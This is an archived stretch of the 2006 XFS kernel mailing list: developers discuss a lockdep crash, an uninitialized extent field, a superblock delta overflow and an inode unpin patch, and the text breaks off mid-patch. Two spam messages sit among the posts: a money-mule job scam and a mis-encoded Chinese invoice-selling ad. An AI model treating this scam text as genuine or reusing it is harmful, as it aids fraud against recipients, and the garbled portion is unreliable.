Errors-to: xfs-bounce@oss.sgi.com X-original-sender: vapo@sgi.com Precedence: bulk X-list: xfs Status: O Eric Sandeen wrote: > Vlad Apostolov wrote: > >> Hi Eric, >> >> Could you please provide some more information. What kernel, test >> case and call stack at the time of the crash. >> >> Thanks, >> Vlad > > Vlad, for reference, this was a very recent FC6 test kernel, which has > lockdep & slab debugging on. Oopsing is as simple as mounting & > umounting. It dies in lockdep code. > > See also https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=209062 > > -Eric > Thanks Eric, I opened a pv and I see David C. replied to your email too. Vlad From owner-xfs@oss.sgi.com Mon Oct 9 21:56:48 2006 Received: with ECARTIS (v1.0.0; list xfs); Mon, 09 Oct 2006 21:56:51 -0700 (PDT) Received: from larry.melbourne.sgi.com (larry.melbourne.sgi.com [134.14.52.130]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with SMTP id k9A4uiaG024381 for ; Mon, 9 Oct 2006 21:56:47 -0700 Received: from boing.melbourne.sgi.com (boing.melbourne.sgi.com [134.14.55.141]) by larry.melbourne.sgi.com (950413.SGI.8.6.12/950213.SGI.AUTOCF) via ESMTP id OAA15792; Tue, 10 Oct 2006 14:55:33 +1000 Date: Tue, 10 Oct 2006 14:55:33 +1000 From: Timothy Shimmin To: Eric Sandeen cc: David Chinner , xfs@oss.sgi.com Subject: Re: xfs vs. lockdep Message-ID: In-Reply-To: <452B0396.8060506@sandeen.net> References: <452A8DE2.4000608@sandeen.net> <20061010004726.GO11034@melbourne.sgi.com> <452B0396.8060506@sandeen.net> X-Mailer: Mulberry/4.0.6 (Mac OS X) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline X-archive-position: 9240 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: tes@sgi.com Precedence: bulk X-list: xfs Status: O --On 9 October 2006 9:21:10 PM -0500 Eric Sandeen wrote: >> This one rings a bell. I seem to recall multiple places where we destroy >> without releasing the lock first. >> And I vaguely remember Nathan mentioning that this was causing grief >> for lockdep:) > > > Ok, cool. Want a formal patch Nope :) > or you guys want to just free it up... > > /* > * Free all memory associated with the inode. > */ > + xfs_iunlock(ip, XFS_ILOCK_EXCL | XFS_IOLOCK_EXCL); > xfs_idestroy(ip); > > Thanks, > Thanks, I'll just check it in under Vlad's bug. Cheers, Tim. From owner-xfs@oss.sgi.com Tue Oct 10 03:51:21 2006 Received: with ECARTIS (v1.0.0; list xfs); Tue, 10 Oct 2006 03:51:28 -0700 (PDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.168.28]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k9AApKaG004851 for ; Tue, 10 Oct 2006 03:51:21 -0700 X-ASG-Debug-ID: 1160471947-29430-68-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from pentafluge.infradead.org (pentafluge.infradead.org [213.146.154.40]) by cuda.sgi.com (Spam Firewall) with ESMTP id 09C3E48E468; Tue, 10 Oct 2006 02:19:07 -0700 (PDT) Received: from hch by pentafluge.infradead.org with local (Exim 4.62 #1 (Red Hat Linux)) id 1GXDlQ-0000Wl-MS; Tue, 10 Oct 2006 10:19:04 +0100 Date: Tue, 10 Oct 2006 10:19:04 +0100 From: Christoph Hellwig To: Steve Lord Cc: David Chinner , linux-fsdevel@vger.kernel.org, linux-ext4@vger.kernel.org, linux-kernel@vger.kernel.org, xfs@oss.sgi.com X-ASG-Orig-Subj: Re: Directories > 2GB Subject: Re: Directories > 2GB Message-ID: <20061010091904.GA395@infradead.org> Mail-Followup-To: Christoph Hellwig , Steve Lord , David Chinner , linux-fsdevel@vger.kernel.org, linux-ext4@vger.kernel.org, linux-kernel@vger.kernel.org, xfs@oss.sgi.com References: <20061004165655.GD22010@schatzie.adilger.int> <452AC4BE.6090905@xfs.org> <20061010015512.GQ11034@melbourne.sgi.com> <452B0240.60203@xfs.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <452B0240.60203@xfs.org> User-Agent: Mutt/1.4.2.1i X-SRS-Rewrite: SMTP reverse-path rewritten from by pentafluge.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests= X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.22953 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-archive-position: 9241 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: hch@infradead.org Precedence: bulk X-list: xfs Status: O On Mon, Oct 09, 2006 at 09:15:28PM -0500, Steve Lord wrote: > Hi Dave, > > My recollection is that it used to default to on, it was disabled > because it needs to map the buffer into a single contiguous chunk > of kernel memory. This was placing a lot of pressure on the memory > remapping code, so we made it not default to on as reworking the > code to deal with non contig memory was looking like a major > effort. Exactly. The code works but tends to go OOM pretty fast at least when the dir blocksize code is bigger than the page size. I should give the code a spin on my ppc box with 64k pages if it works better there. From owner-xfs@oss.sgi.com Tue Oct 10 11:34:37 2006 Received: with ECARTIS (v1.0.0; list xfs); Tue, 10 Oct 2006 11:34:52 -0700 (PDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.168.28]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k9AIYaaG017555 for ; Tue, 10 Oct 2006 11:34:37 -0700 X-ASG-Debug-ID: 1160501265-6344-313-1 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from 163.com (unknown [219.134.247.45]) by cuda.sgi.com (Spam Firewall) with ESMTP id 8575A48F2C8 for ; Tue, 10 Oct 2006 10:27:49 -0700 (PDT) Received: from LEGEND-NS5O4R2Y[192.168.1.8] by 163.com with SMTP id 2FD11260; Wed, 11 Oct 2006 01:27:43 +0800 From: =?GB2312?B?1cUguqMgvrA=?= X-ASG-Orig-Subj: =?GB2312?B?08W73bT6v6q499bWt6LGsSCjoQ==?= Subject: =?GB2312?B?08W73bT6v6q499bWt6LGsSCjoQ==?= To: "linux-xfs" Content-Type: text/plain; charset="gb2312" Content-Transfer-Encoding: 8bit Reply-To: szyuenxin33@163.com Date: Wed, 11 Oct 2006 01:28:07 +0800 X-Priority: 2 X-Mailer: FoxMail 3.11 Release [cn] Message-Id: <20061010172749.8575A48F2C8@cuda.sgi.com> X-Barracuda-Spam-Score: 0.98 X-Barracuda-Spam-Status: No, SCORE=0.98 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests=MAILTO_TO_SPAM_ADDR, MSGID_FROM_MTA_ID X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.22977 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.70 MSGID_FROM_MTA_ID Message-Id for external message added locally 0.28 MAILTO_TO_SPAM_ADDR URI: Includes a link to a likely spammer email X-archive-position: 9242 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: szyuenxin33@163.com Precedence: bulk X-list: xfs Status: O ×𾴵Ĺ«Ë¾Á츺ÔðÈË(¾­Àí£¯²ÆÎñ)ÄúÃǺã¡ ÎÒÊÇÉîÛÚÊÐÔ´öÎʵҵÓÐÏÞ¹«Ë¾µÄ£¬ÎÒ˾ʵÁ¦ÐÛºñ£¬ÓÐ×ÅÁ¼ºÃµÄÉç »á¹ØÏµ¡£ÓÉÓÚÎÒ˾½øÏî½Ï¶à£¬Íê³É²»ÁËÿÔÂÏúÊÛ¶î¶È£¬¹«Ë¾¾ö¶¨²ÉÈ¡ ×îÓŻݵķ½Ê½À´¶ÔÍâ´ú¿ª·¢Æ±¡£´ú¿ª·¶Î§£ºÔöֵ˰¡¢º£¹Ø½É¿îÊé¡¢ÆÕ ͨÉÌÆ·ÏúÊÛ·¢Æ±£»µØË°£¬½¨Öþ°²×°¡¢ÔËÊä¡¢¹ã¸æ¡¢·þÎñÒµ¡¢×ÉѯºÍ¶¨ ¶î·¢Æ±µÈ£»±¾Ë¾Õæ³ÏµØÏ£ÍûÄܹ»Óë¹ó˾ºÏ×÷£¡Ò²¿ÉΪ¹ó˾½ÚÔ¼Ò»²¿·Ö ×ʽ𣡠Èç¹û¹ó˾ÔÚ·¢Æ±·½ÃæÓÐÈκÎÒÉÂÇ£¬¿ÉÉÏÍø²éѯ»òÎÒ˾ÈËÔ±Óë¹ó˾ ÈËԱȥ˰ÎñÈ·¶¨¡£Ò»Çз¢Æ±¿É¾­¹ó˾ȷÈϺó²Å¸¶¿î£¡ ×££º¹ó¹«Ë¾ÉúÒâÐË¡ Å·¢Õ¹ Òµ¼¨ÕôÕôÈÕÉÏ£¡ ÁªÏµÈË£ºÕÅ º£ ¾° ÊÖ »ú£º13824305596 ÓÊ Ïä: szyuanxin63@163.com From owner-xfs@oss.sgi.com Tue Oct 10 11:41:03 2006 Received: with ECARTIS (v1.0.0; list xfs); Tue, 10 Oct 2006 11:41:21 -0700 (PDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.168.29]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k9AIf2aG018231; Tue, 10 Oct 2006 11:41:03 -0700 X-ASG-Debug-ID: 1160501472-4678-759-8 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from CANTOR.im1eo.net (ool-44c33c5e.dyn.optonline.net [68.195.60.94]) by cuda.sgi.com (Spam Firewall) with ESMTP id 728ECD1859BB; Tue, 10 Oct 2006 10:31:17 -0700 (PDT) Message-ID: <76130938134564.188BFD2512@X45XDN> From: "Damian Hutchins" <899marcus@VIX.com> To: X-ASG-Orig-Subj: Second attempt To Bring it ot You Subject: Second attempt To Bring it ot You Date: Tue, 10 Oct 2006 13:27:55 -0400 MIME-Version: 1.0 X-Mailer: Microsoft Office Outlook, Build 11.0.5510 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1106 Thread-Index: ujMloPd8Gp9jbl6iqF15GQsDJB53O4mA3aHZ Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 8bit X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests=ADVANCE_FEE_1 X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.22975 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 ADVANCE_FEE_1 Appears to be advance fee fraud (Nigerian 419) X-archive-position: 9243 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: 899marcus@VIX.com Precedence: bulk X-list: xfs Status: O Good day Linux-xfs-bounce!!! ABOUT US. We are small new firm engaged in export of goods to overseas outside my country.We have won various small exports contract at one time or the other, recently we were (engaged) contracted to supply financial programs for market analyzing, management project software in Japan which was successfully done. Unfortunately we have faced some difficulties while receiving payment for our software in our country as need 10-30 days to get a payment from your country. We do not have so much time to accept wire transfers and can't accept cashiers checks and money orders as well. So we need your help to accept this payments in your country faster. CAREER POSITION: This is an entry level opportunity in the field of financial services. Our financial professionals work with clients to help them achieve their many financial goals such as saving on taxes. REQUIREMENTS: - 18 - 80 years old - basic computers and internet knowlege - about 3 free hours per day SALARY: (1000-3000 AUD per week plus 2000AUD monthly wage) If you are interesting, please send your resume in e-mail our Managers. uasw-group@gala.net Sincerely, Leonid Kozlov P.R.O. UA-TEAM !!! PLEASE SEND YOUR REPLY TO uasw-group@gala.net From owner-xfs@oss.sgi.com Tue Oct 10 16:32:23 2006 Received: with ECARTIS (v1.0.0; list xfs); Tue, 10 Oct 2006 16:32:33 -0700 (PDT) Received: from larry.melbourne.sgi.com (larry.melbourne.sgi.com [134.14.52.130]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with SMTP id k9ANWJaG017607 for ; Tue, 10 Oct 2006 16:32:21 -0700 Received: from snort.melbourne.sgi.com (snort.melbourne.sgi.com [134.14.54.149]) by larry.melbourne.sgi.com (950413.SGI.8.6.12/950213.SGI.AUTOCF) via ESMTP id JAA08584; Wed, 11 Oct 2006 09:31:28 +1000 Received: from snort.melbourne.sgi.com (localhost [127.0.0.1]) by snort.melbourne.sgi.com (SGI-8.12.5/8.12.5) with ESMTP id k9ANVQ7Y4780748; Wed, 11 Oct 2006 09:31:26 +1000 (AEST) Received: (from dgc@localhost) by snort.melbourne.sgi.com (SGI-8.12.5/8.12.5/Submit) id k9ANVOJT4779040; Wed, 11 Oct 2006 09:31:24 +1000 (AEST) Date: Wed, 11 Oct 2006 09:31:24 +1000 From: David Chinner To: Christoph Hellwig , Steve Lord , David Chinner , linux-fsdevel@vger.kernel.org, linux-ext4@vger.kernel.org, linux-kernel@vger.kernel.org, xfs@oss.sgi.com Subject: Re: Directories > 2GB Message-ID: <20061010233124.GX11034@melbourne.sgi.com> References: <20061004165655.GD22010@schatzie.adilger.int> <452AC4BE.6090905@xfs.org> <20061010015512.GQ11034@melbourne.sgi.com> <452B0240.60203@xfs.org> <20061010091904.GA395@infradead.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20061010091904.GA395@infradead.org> User-Agent: Mutt/1.4.2.1i X-archive-position: 9244 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: dgc@sgi.com Precedence: bulk X-list: xfs Status: O On Tue, Oct 10, 2006 at 10:19:04AM +0100, Christoph Hellwig wrote: > On Mon, Oct 09, 2006 at 09:15:28PM -0500, Steve Lord wrote: > > Hi Dave, > > > > My recollection is that it used to default to on, it was disabled > > because it needs to map the buffer into a single contiguous chunk > > of kernel memory. This was placing a lot of pressure on the memory > > remapping code, so we made it not default to on as reworking the > > code to deal with non contig memory was looking like a major > > effort. > > Exactly. The code works but tends to go OOM pretty fast at least > when the dir blocksize code is bigger than the page size. I should > give the code a spin on my ppc box with 64k pages if it works better > there. The pagebuf code doesn't use high-order allocations anymore; it uses scatter lists and remapping to allow physically discontiguous pages in a multi-page buffer. That is, the pages are sourced via find_or_create_page() from the address space of the backing device, and then mapped via vmap() to provide a virtually contigous mapping of the multi-page buffer. So I don't think this problem exists anymore... Cheers, Dave. -- Dave Chinner Principal Engineer SGI Australian Software Group From owner-xfs@oss.sgi.com Tue Oct 10 18:11:35 2006 Received: with ECARTIS (v1.0.0; list xfs); Tue, 10 Oct 2006 18:11:42 -0700 (PDT) Received: from larry.melbourne.sgi.com (larry.melbourne.sgi.com [134.14.52.130]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with SMTP id k9B1BWaG024588 for ; Tue, 10 Oct 2006 18:11:33 -0700 Received: from [134.14.55.89] (soarer.melbourne.sgi.com [134.14.55.89]) by larry.melbourne.sgi.com (950413.SGI.8.6.12/950213.SGI.AUTOCF) via ESMTP id LAA10832; Wed, 11 Oct 2006 11:10:44 +1000 Message-ID: <452C44A2.7000907@sgi.com> Date: Wed, 11 Oct 2006 11:10:58 +1000 From: Vlad Apostolov User-Agent: Thunderbird 1.5.0.7 (X11/20060909) MIME-Version: 1.0 To: Shailendra Tripathi CC: xfs mailing list , xfs-dev@sgi.com Subject: Re: xfs_bmap_add_extent_delay_real: Uninited r[3] corrupts startoff References: <4529F8A8.6080900@agami.com> In-Reply-To: <4529F8A8.6080900@agami.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 9245 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: vapo@sgi.com Precedence: bulk X-list: xfs Status: O Hi Shailendra, Shailendra Tripathi wrote: > Hi, > It appears that uninitialized r[3] in > xfs_bmap_add_extent_delay_real can potentially corrupt the startoff > for a particular case. > > This sequence is below: > > xfs_bmap_add_extent_delay_real ( > ... > xfs_bmbt_irec_t r[3]; /* neighbor extent entries */ > > case 0: > /* > * Filling in the middle part of a previous delayed allocation. > * Contiguity is impossible here. > * This case is avoided almost all the time. > */ > temp = new->br_startoff - PREV.br_startoff; > xfs_bmbt_set_blockcount(ep, temp); > r[0] = *new; > r[1].br_startoff = new_endoff; > temp2 = PREV.br_startoff + PREV.br_blockcount - new_endoff; > r[1].br_blockcount = temp2; > xfs_bmap_insert_exlist(ip, idx + 1, 2, &r[0], XFS_DATA_FORK); > ip->i_df.if_lastex = idx + 1; > ip->i_d.di_nextents++; > > Look at extent r[1]. It does not set br_startblock. That is, it is any > random value. Now, look at the xfs_bmbt_set_all. Though, it sets the > blockcount later, the startoff does not get changed. > > #if XFS_BIG_BLKNOS > ASSERT((s->br_startblock & XFS_MASK64HI(12)) == 0); > r->l0 = ((xfs_bmbt_rec_base_t)extent_flag << 63) | > ((xfs_bmbt_rec_base_t)s->br_startoff << 9) | > ((xfs_bmbt_rec_base_t)s->br_startblock >> 43); > Top 21 bits are taken as it is. However, only 9 bit should be taken. > So, for random values, it corrupts the startoff which from 9-63 bits. From the code inspection I agree with you that br_startblock doesn't appear to be initialized in this scenario. Otherwise I think the code looks good. If the br_startblock is initialized it should be a value that fits in 52 bits out of 64 (this is what the ASSERT is for) and the top 12 bits will be 0. The r->l0 gets the top 21 bits of br_startblock, the most significant 12 bits of which are 0 and least significant 9 could be non 0. The r->l1 gets the rest 43 (= 52-9 = 64-21) bits of br_startblock. I will open a bug report for the uninitialized br_startblock. Thank you for finding this problem. Regards, Vlad > > r->l1 = ((xfs_bmbt_rec_base_t)s->br_startblock << 21) | > ((xfs_bmbt_rec_base_t)s->br_blockcount & > (xfs_bmbt_rec_base_t)XFS_MASK64LO(21)); > > I have attached a small program which does the same thing as it is > being done here. I would appreciate if someone can verify that > assertion is correct. > > > Regards, > Shailendra > ------------------------------------------------------------------------ > > #include > typedef unsigned long __uint64_t; > typedef struct xfs_bmbt_rec_64 > { > __uint64_t l0, l1; > } xfs_bmbt_rec_64_t; > > typedef __uint64_t xfs_bmbt_rec_base_t; > typedef xfs_bmbt_rec_64_t xfs_bmbt_rec_t, xfs_bmdr_rec_t; > > typedef enum { > XFS_EXT_NORM, XFS_EXT_UNWRITTEN, > XFS_EXT_DMAPI_OFFLINE > } xfs_exntst_t; > > typedef struct xfs_bmbt_irec > { > __uint64_t br_startoff; /* starting file offset */ > __uint64_t br_startblock; /* starting block number */ > __uint64_t br_blockcount; /* number of blocks */ > xfs_exntst_t br_state; /* extent state */ > } xfs_bmbt_irec_t; > > #define XFS_MASK64LO(n) (((__uint64_t)1 << (n)) - 1) > #define XFS_MASK64HI(n) ((__uint64_t)-1 << (64 - (n))) > > int main(void) > { > xfs_bmbt_irec_t s; > xfs_bmbt_rec_t r; > int extent_flag; > > s.br_startoff = 0; > s.br_blockcount = 5; > s.br_startblock = 0xfffffffffffffff0; > extent_flag = (s.br_state == XFS_EXT_NORM) ? 0 : 1; > > printf("blockcount = 0x%llx\n", s.br_startblock); > r.l0 = ((xfs_bmbt_rec_base_t)extent_flag << 63) | > ((xfs_bmbt_rec_base_t)s.br_startoff << 9) | > ((xfs_bmbt_rec_base_t)s.br_startblock >> 43); > r.l1 = ((xfs_bmbt_rec_base_t)s.br_startblock << 21) | > ((xfs_bmbt_rec_base_t)s.br_blockcount & > (xfs_bmbt_rec_base_t)XFS_MASK64LO(21)); > > printf("l0 = 0x%llx l1 = 0x%llx\n", r.l0, r.l1); > > r.l0 = (r.l0 & (xfs_bmbt_rec_base_t)XFS_MASK64HI(55)) | > (xfs_bmbt_rec_base_t)((__uint64_t)100 >> 43); > r.l1 = (r.l1 & (xfs_bmbt_rec_base_t)XFS_MASK64LO(21)) | > (xfs_bmbt_rec_base_t)((__uint64_t)100 << 21); > > printf("l0 = 0x%llx l1 = 0x%llx\n", r.l0, r.l1); > return 0; > } > From owner-xfs@oss.sgi.com Tue Oct 10 22:26:57 2006 Received: with ECARTIS (v1.0.0; list xfs); Tue, 10 Oct 2006 22:27:02 -0700 (PDT) Received: from larry.melbourne.sgi.com (larry.melbourne.sgi.com [134.14.52.130]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with SMTP id k9B5QraG015227 for ; Tue, 10 Oct 2006 22:26:55 -0700 Received: from snort.melbourne.sgi.com (snort.melbourne.sgi.com [134.14.54.149]) by larry.melbourne.sgi.com (950413.SGI.8.6.12/950213.SGI.AUTOCF) via ESMTP id PAA16217; Wed, 11 Oct 2006 15:26:03 +1000 Received: from snort.melbourne.sgi.com (localhost [127.0.0.1]) by snort.melbourne.sgi.com (SGI-8.12.5/8.12.5) with ESMTP id k9B5Q17Y4851199; Wed, 11 Oct 2006 15:26:02 +1000 (AEST) Received: (from dgc@localhost) by snort.melbourne.sgi.com (SGI-8.12.5/8.12.5/Submit) id k9B5Pvje4856701; Wed, 11 Oct 2006 15:25:57 +1000 (AEST) Date: Wed, 11 Oct 2006 15:25:57 +1000 From: David Chinner To: Shailendra Tripathi Cc: sandeen@sandeen.net, xfs@oss.sgi.com, Timothy Shimmin Subject: Re: Data type overflow in xfs_trans_unreserve_and_mod_sb Message-ID: <20061011052557.GM19345@melbourne.sgi.com> References: <55EF1E5D5804A542A6CA37E446DDC206655888@mapibe17.exchange.xchg> <45179573.3020007@agami.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <45179573.3020007@agami.com> User-Agent: Mutt/1.4.2.1i X-archive-position: 9246 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: dgc@sgi.com Precedence: bulk X-list: xfs Status: O On Mon, Sep 25, 2006 at 02:08:11PM +0530, Shailendra Tripathi wrote: > Hi David, > As part of fixing xfs_reserve_blocks issue, you might want to > fix an issue in xfs_trans_unreserve_and_mod_sb as well. Since, I am on > much older version, my patch is not applicable on newer trees. However, > the patch is attached for your reference. > > The problem is as below: > > Superblock modifications required during transaction are stored in delta > fields in transaction. These fields are applied to the superblock when > transaction commits. > > The in-core superblock changes are done in > xfs_trans_unreserve_and_mod_sb. It calls xfs_mod_incore_sb_batch > function to apply the changes. This function tries to apply the deltas > and if it fails for any reason, it backs out all the changes. One > typical modification done is like that: > > case XFS_SBS_DBLOCKS: > lcounter = (long long)mp->m_sb.sb_dblocks; > lcounter += delta; > if (lcounter < 0) { > ASSERT(0); > return (XFS_ERROR(EINVAL)); > } > mp->m_sb.sb_dblocks = lcounter; > return (0); > > So, when it returns EINVAL, the second part of the code backs out the > changes made to superblock. However, the worst part is that > xfs_trans_unreserve_and_mod_sb does not return any error value. That's because the error checking is supposed to occur before you commit the transaction e.g. during xfs_trans_mod_sb() that calculates the deltas. In which case: case XFS_TRANS_SB_DBLOCKS: ASSERT(delta > 0); tp->t_dblocks_delta += delta; break; You should assert fail there is the delta is less than zero. To me, it is obvious these ASSERTS were placed long ago to be a landmine for someone to trip over when thea deltas start to overflow. Far-sighted, self documenting code - just the way it should be ;) So, looking a little deeper: void xfs_trans_mod_sb( xfs_trans_t *tp, uint field, long delta) This function can't take more than 31 bits of delta on a 32 bit machine so your patch only fixed the problem on 64 bit platforms. Given that we can support 16TB filesystems on 32 bit platforms, they need to be fixed in some way here as well. Also, the transaction delta fields are all longs - they overflow in the same manner. Eric, you suggested specific 64 bit types - I think that's really the way to fix this, but it's a much bigger change... Cheers, Dave. -- Dave Chinner Principal Engineer SGI Australian Software Group From owner-xfs@oss.sgi.com Tue Oct 10 23:45:03 2006 Received: with ECARTIS (v1.0.0; list xfs); Tue, 10 Oct 2006 23:45:11 -0700 (PDT) Received: from larry.melbourne.sgi.com (larry.melbourne.sgi.com [134.14.52.130]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with SMTP id k9B6iuaG021345 for ; Tue, 10 Oct 2006 23:44:59 -0700 Received: from snort.melbourne.sgi.com (snort.melbourne.sgi.com [134.14.54.149]) by larry.melbourne.sgi.com (950413.SGI.8.6.12/950213.SGI.AUTOCF) via ESMTP id QAA17849; Wed, 11 Oct 2006 16:44:03 +1000 Received: from snort.melbourne.sgi.com (localhost [127.0.0.1]) by snort.melbourne.sgi.com (SGI-8.12.5/8.12.5) with ESMTP id k9B6i17Y4876044; Wed, 11 Oct 2006 16:44:02 +1000 (AEST) Received: (from dgc@localhost) by snort.melbourne.sgi.com (SGI-8.12.5/8.12.5/Submit) id k9B6hvZ34876732; Wed, 11 Oct 2006 16:43:57 +1000 (AEST) Date: Wed, 11 Oct 2006 16:43:57 +1000 From: David Chinner To: Takenori Nagano Cc: xfs@oss.sgi.com Subject: Re: [patch] Fix xfs_iunpin() sets I_DIRTY_SYNC after clear_inode(). Message-ID: <20061011064357.GN19345@melbourne.sgi.com> References: <45237CCE.4010007@ah.jp.nec.com> <20061006032617.GC11034@melbourne.sgi.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20061006032617.GC11034@melbourne.sgi.com> User-Agent: Mutt/1.4.2.1i X-archive-position: 9247 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: dgc@sgi.com Precedence: bulk X-list: xfs Status: O On Fri, Oct 06, 2006 at 01:26:17PM +1000, David Chinner wrote: > I think this is a much better way of fixing the problem, but it needs > a little tweaking. Also, it indicates that we can probably revert > some of the previous changes made in attempting to fix this bug. > I'll put together a new patch with this fix and as much of the > other fixes removed as possible and run some tests on it here. > It'l be a day or two before I have a tested patch ready.... I've run the attached patch through xfsqa but have not stress tested it yet. Takenori - can you give this a run through your tests to see if it passes. I expect any races to trigger the BUG_ON statements in xfs_iunpin(). This patch sits on top of iflags locking cleanup I posted here: http://oss.sgi.com/archives/xfs/2006-10/msg00014.html Cheers, Dave. -- Dave Chinner Principal Engineer SGI Australian Software Group --- fs/xfs/xfs_inode.c | 59 ++++++++++++++++++-------------------------------- fs/xfs/xfs_inode.h | 1 fs/xfs/xfs_vnodeops.c | 12 +++++++++- 3 files changed, 34 insertions(+), 38 deletions(-) Index: 2.6.x-xfs-new/fs/xfs/xfs_inode.c =================================================================== --- 2.6.x-xfs-new.orig/fs/xfs/xfs_inode.c 2006-10-11 14:01:47.000000000 +1000 +++ 2.6.x-xfs-new/fs/xfs/xfs_inode.c 2006-10-11 14:33:59.055638165 +1000 @@ -2728,9 +2728,16 @@ xfs_ipin( } /* - * Decrement the pin count of the given inode, and wake up - * anyone in xfs_iwait_unpin() if the count goes to 0. The - * inode must have been previously pinned with a call to xfs_ipin(). + * Decrement the pin count of the given inode, and wake up anyone in + * xfs_iunpin_wait() if the count goes to 0. The inode must have been + * previously pinned with a call to xfs_ipin(). + * + * Note that xfs_reclaim() _must_ wait for all transactions to complete by + * calling xfs_iunpin_wait() before either reclaiming the linux inode or + * breaking the link between the xfs_inode and the xfs_vnode to prevent races + * and use-after-frees here in this code due to asynchronous log I/O + * completion. Hence we should never see the XFS_IRECLAIM* state, + * a NULL vnode or a linu xinode with I_CLEAR set here. */ void xfs_iunpin( @@ -2739,41 +2746,19 @@ xfs_iunpin( ASSERT(atomic_read(&ip->i_pincount) > 0); if (atomic_dec_and_test(&ip->i_pincount)) { - /* - * If the inode is currently being reclaimed, the - * linux inode _and_ the xfs vnode may have been - * freed so we cannot reference either of them safely. - * Hence we should not try to do anything to them - * if the xfs inode is currently in the reclaim - * path. - * - * However, we still need to issue the unpin wakeup - * call as the inode reclaim may be blocked waiting for - * the inode to become unpinned. - */ - struct inode *inode = NULL; + bhv_vnode_t *vp = XFS_ITOV_NULL(ip); + struct inode *inode; + + BUG_ON(xfs_iflags_test(ip, XFS_IRECLAIM|XFS_IRECLAIMABLE)); + BUG_ON(vp == NULL); + + /* make sync come back and flush this inode */ + inode = vn_to_inode(vp); + BUG_ON(inode->i_state & I_CLEAR); + if (!(inode->i_state & (I_NEW|I_FREEING))) + mark_inode_dirty_sync(inode); - spin_lock(&ip->i_flags_lock); - if (!__xfs_iflags_test(ip, XFS_IRECLAIM|XFS_IRECLAIMABLE)) { - bhv_vnode_t *vp = XFS_ITOV_NULL(ip); - - /* make sync come back and flush this inode */ - if (vp) { - inode = vn_to_inode(vp); - - if (!(inode->i_state & - (I_NEW|I_FREEING|I_CLEAR))) { - inode = igrab(inode); - if (inode) - mark_inode_dirty_sync(inode); - } else - inode = NULL; - } - } - spin_unlock(&ip->i_flags_lock); wake_up(&ip->i_ipin_wait); - if (inode) - xfs_inode_iput(ip); } } @@ -2784,7 +2769,7 @@ xfs_iunpin( * be subsequently pinned once someone is waiting for it to be * unpinned. */ -STATIC void +void xfs_iunpin_wait( xfs_inode_t *ip) { Index: 2.6.x-xfs-new/fs/xfs/xfs_vnodeops.c =================================================================== --- 2.6.x-xfs-new.orig/fs/xfs/xfs_vnodeops.c 2006-10-11 14:01:46.000000000 +1000 +++ 2.6.x-xfs-new/fs/xfs/xfs_vnodeops.c 2006-10-11 14:18:08.307190867 +1000 @@ -3817,7 +3817,17 @@ xfs_reclaim( return 0; } + /* + * We can't reclaim the inode until all I/O has completed, and we don't + * want to break the link between the vnode and xfs_inode until all log + * transactions have been written to disk. By waiting here we provide + * the guarantee to 